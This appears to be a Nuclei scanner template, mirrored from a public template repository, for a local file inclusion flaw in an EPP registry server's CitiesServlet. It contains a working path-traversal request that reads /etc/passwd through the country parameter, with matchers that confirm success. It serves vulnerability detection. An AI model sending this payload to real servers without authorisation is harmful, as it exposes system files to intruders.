mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 20:53:27 +08:00
34 lines
1.1 KiB
YAML
34 lines
1.1 KiB
YAML
id: epp-server-lfi
|
|
|
|
info:
|
|
name: EPP Server - Local File Inclusion
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
servlet called "CitiesServlet" that handles HTTP GET requests, so the user-provided input, obtained from the country parameter, is directly concatenated with the "/cities/cities_" string to form the fileName, This means an attacker can manipulate the country parameter and potentially access arbitrary files on the server's file system
|
|
reference:
|
|
- https://hackcompute.com/hacking-epp-servers/
|
|
metadata:
|
|
max-request: 1
|
|
tags: epp,cocca,registry
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cities?country=/../../../../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100cdf56e298737a98a9f81f096b0601210027bc6a60c6eb631a95b9a390427e7910221008f8cadc47d28a314b0fa681c4dd22987df9ba6c33080b02d84dfefd512512c3e:922c64590222798bb761d5b6d8e72950 |